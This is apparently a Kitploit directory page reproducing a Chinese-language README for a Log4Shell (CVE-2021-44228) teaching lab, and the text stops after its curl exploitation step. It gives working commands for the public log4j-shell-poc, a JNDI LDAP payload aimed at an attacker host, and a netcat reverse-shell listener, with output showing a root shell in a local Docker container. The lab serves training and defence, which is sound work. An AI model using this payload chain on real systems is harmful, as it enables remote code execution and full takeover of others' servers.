Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Log4Shell-CVE-2021-44228 — # 使用Docker、Kali Linux、Burp Suite和log4j-shell-poc进行Log4Shell(CVE-2021-44228)利用与理解的实操实验室。仅用于受控实验室环境中的教学和防御培训。 | Kitploit
工具/GitHubGitHub/drhaitham/log4shell-cve-2021-44228
Payload生成漏洞分析漏洞利用逆向工程Web应用程序漏洞利用渗透测试命令与控制学习与教育红队

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
实验室与实践
GitHubdrhaitham/log4shell-cve-2021-44228

Log4Shell-CVE-2021-44228

# 使用Docker、Kali Linux、Burp Suite和log4j-shell-poc进行Log4Shell(CVE-2021-44228)利用与理解的实操实验室。仅用于受控实验室环境中的教学和防御培训。

查看仓库
149个月前尚未审核

利用Log4Shell(CVE-2021-44228):一个完整、现代的演示实验室

Log4Shell(CVE-2021-44228)是迄今为止公开的最具影响力的远程代码执行漏洞之一。它影响了Apache Log4j 2,这是一个广泛使用的Java日志框架,攻击者可以通过滥用日志消息中的JNDI查找来执行任意代码。

本指南提供了一个完整的、可重复的演示实验室,使用:

  • Kali Linux(攻击者)
  • Docker化的易受攻击的Log4j2应用程序
  • 公开的PoC log4j-shell-poc
  • curl、Burp Suite和Netcat

它专为教学、研究、培训和防御意识而设计,仅限受控环境。 其结构和风格遵循同系列“Shellshock”实验室README的精神。


📌 目录

  1. 法律与道德声明
  2. 高层概述
  3. 学习目标
  4. 实验室架构
  5. 前提条件
  6. 在Kali上安装JDK 1.8.0_202
  7. 部署易受攻击的Log4j应用程序(Docker)
  8. 准备利用PoC
  9. 配置poc.py使用JDK 1.8.0_202
  10. 启动利用服务(LDAP + HTTP + Payload)
  11. 启动反向Shell监听器
  12. 通过curl利用Log4Shell
  13. 通过Burp Suite利用Log4Shell
  14. 攻击链图
  15. 缓解措施与防御
  16. 命令速查表
  17. 截图展示(可选)
  18. 参考资料
  19. 致谢

0. 法律与道德声明

本实验室必须仅在您有明确授权的受控环境中进行(您自己的实验室、课堂虚拟机等)。

  • 不要攻击生产系统。
  • 不要对您不拥有或管理的任何主机运行此操作。
  • 仅将本材料用于教育、研究和防御目的。

1. 高层概述

Log4Shell(CVE-2021-44228)是Apache Log4j 2中的一个严重RCE漏洞。

问题源于易受攻击的Log4j2版本会解释攻击者控制的字符串,例如:

${jndi:ldap://ATTACKER_IP:1389/a}

当日志记录此字符串时,Log4j:

  1. 执行JNDI查找(例如通过LDAP)到攻击者控制的服务器。
  2. 收到一个指向恶意Java类的引用。
  3. 通过HTTP下载该类并加载到JVM中。
  4. 执行它,从而实现远程代码执行。

在本实验中,您将:

  • 在Docker容器内运行一个易受攻击的Log4j2 Web应用程序。
  • 使用log4j-shell-poc在Kali上运行一个恶意的LDAP + HTTP服务器。
  • 通过curl和Burp Suite传递Log4Shell载荷。
  • 从易受攻击的容器中捕获反向Shell。

2. 学习目标

完成本实验后,您应能够:

  1. 从高层解释Log4Shell的工作原理以及为什么JNDI在误用时很危险。
  2. 使用Docker部署一个易受攻击的Log4j2应用程序。
  3. 安装并配置PoC所需的JDK 1.8.0_202。
  4. 通过PoC脚本运行恶意的LDAP服务器和HTTP服务器。
  5. 触发漏洞并获得反向Shell。
  6. 使用Burp Suite将利用注入到HTTP头部中。
  7. 讨论实际的缓解措施和检测策略。

3. 实验室架构

所有组件都运行在您现有的虚拟实验室之上。本笔记假设:

  • Kali Linux虚拟机是攻击者。
  • Kali也运行包含易受攻击应用程序的Docker容器。
组件角色/描述工具/服务示例寻址
Kali Linux虚拟机(攻击者+主机)运行PoC攻利用、LDAP服务器、HTTP服务器、Netcat监听器、Burp SuitePython 3、JDK 1.8.0_202、Netcat、Burp Suite、Docker、curl、Git192.168.1.4(示例Kali IP)
易受攻击的Log4j2 Web应用程序目标;易受Log4Shell攻击的Spring Boot Web应用程序Docker镜像:ghcr.io/christophetd/log4shell-vulnerable-app暴露在 http://127.0.0.1:8080

关键思路

攻击者注入:

${jndi:ldap://192.168.1.4:1389/a}

到HTTP头部中。易受攻击的应用程序使用Log4j2记录它 → 执行JNDI LDAP查找至192.168.1.4:1389 → 从http://192.168.1.4:8000下载恶意类 → 执行该类,该类向192.168.1.4:9001打开一个反向Shell。


4. 前提条件

在Kali上您需要:

  • Docker(已安装并正常工作)。
  • Python 3(Kali默认安装)。
  • Netcat(nc)。
  • Burp Suite(社区版即可)。
  • 初始下载需要互联网访问。
  • 基本熟悉Linux和HTTP。

本指南假设Kali IP为:

192.168.1.4

如果您的IP不同,请相应调整所有命令。


5. 在Kali上安装JDK 1.8.0_202(必须)

PoC依赖于Java SE 8 Update 202 (JDK 1.8.0_202),因为较新的Java版本限制了此利用所使用的远程类加载行为。

即使Kali已经有OpenJDK 21(或类似版本),您仍然需要单独安装8u202。

5.1 创建工作目录

mkdir -p ~/Log4Shell
cd ~/Log4Shell

5.2 从华为云镜像下载JDK 8u202

镜像根目录:

https://mirrors.huaweicloud.com/java/jdk/8u202-b08/

下载Linux x64 tarball(约185 MB):

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz   # 应约为185M

5.3 解压到 /usr/bin/jdk1.8.0_202

sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

--strip-components=1选项从归档中移除顶层目录,使文件直接位于/usr/bin/jdk1.8.0_202下。

5.4 验证安装

/usr/bin/jdk1.8.0_202/bin/java -version

预期输出:

java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

如果看到此信息,则JDK 1.8.0_202安装正确。


6. 部署易受攻击的Log4j应用程序(Docker在Kali上)

在Kali的新终端中(您可以留在~/Log4Shell下):

docker run --name vulnerable-app --rm -p 8080:8080 \
  ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

您应该会看到类似以下的日志:

:: Spring Boot ::  (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
  • 该应用程序现在可以从Kali通过http://127.0.0.1:8080/访问。
  • 让此终端保持运行。 这是您的目标。

快速检查:

curl http://127.0.0.1:8080/

您可能会看到一个Whitelabel错误页面(HTTP 400)。这没关系——我们只需要应用程序运行并记录请求即可。


7. 在Kali上准备利用PoC

7.1 克隆 log4j-shell-poc

在新终端中:

cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc

确认文件:

ls
# poc.py, target/, README, 等等。Exploit.java稍后生成。

8. 配置poc.py使用JDK 1.8.0_202

默认情况下,poc.py期望在仓库中名为jdk1.8.0_20的目录下找到本地JDK。相反,您已将JDK 8u202安装到/usr/bin/jdk1.8.0_202,因此必须更新脚本。

8.1 在编辑器中打开poc.py

nano poc.py

8.2 找到原始的Java路径行

搜索jdk1.8.0_20(在nano中:Ctrl+W,输入jdk1.8.0_20,按回车)。

您应该会找到三处,例如:

subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])

exit_code = subprocess.call([
    os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
    '-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

subprocess.run([
    os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
    "-cp",
    os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
    "marshalsec.jndi.LDAPRefServer",
    url,
])

8.3 替换为JDK 8u202的绝对路径

将它们替换为:

subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])

exit_code = subprocess.call([
    "/usr/bin/jdk1.8.0_202/bin/java",
    '-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

subprocess.run([
    "/usr/bin/jdk1.8.0_202/bin/java",
    "-cp",
    os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
    "marshalsec.jndi.LDAPRefServer",
    url,
])

保存并退出:

  • Ctrl + O → 回车
  • Ctrl + X

PoC现在使用位于/usr/bin的JDK 1.8.0_202。


9. 启动利用服务(LDAP + HTTP + Payload生成器)

从~/Log4Shell/log4j-shell-poc:

9.1 运行PoC脚本

python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001

参数:

  • --userip – 您的Kali IP(攻击者):例如192.168.1.4。
  • --webport – 内嵌HTTP服务器的端口:8000。
  • --lport – 载荷回连的端口:9001。

如果配置正确,您应该会看到类似:

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}

[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389

重要:

  • LDAP服务器正在监听端口1389。

  • HTTP服务器正在监听端口8000。

  • 打印了要注入的确切载荷:

    ${jndi:ldap://192.168.1.4:1389/a}
    

让此终端保持运行。


10. 启动反向Shell监听器(Netcat)

在Kali上打开另一个新终端:

nc -nvlp 9001

您应该会看到:

listening on [any] 9001 ...

此监听器将从易受攻击的应用程序接收反向Shell。

此时您应该有:

  1. 运行易受攻击应用程序的Docker容器(端口8080)。
  2. poc.py运行着LDAP(1389)和HTTP(8000)。
  3. Netcat在9001端口监听。

11. 通过curl利用Log4Shell

首先,使用原始HTTP请求证明利用有效。

在新终端(或可用的重复终端)中:

curl http://127.0.0.1:8080 \
  -H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'

发生的情况:

  1. 易受攻击的应用程序接收请求并记录X-Api-Version头部。
  2. Log4j2看到${jndi:ldap://192.168.1.4:1389/a}并执行JNDI LDAP查找。
  3. 您的LDAP服务器(在poc.py内)响应,指向托管在您HTTP服务器上的恶意Java类。
  4. 应用程序下载并执行该类。
  5. 该类回连到192.168.1.4:9001并生成一个Shell。

如果成功,您的Netcat终端会显示:

connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 48xxx
id
uid=0(root) gid=0(root) groups=0(root), ...

您现在拥有了Docker容器内的root Shell。

尝试:

id
hostname
ls /

退出:

exit
下载工具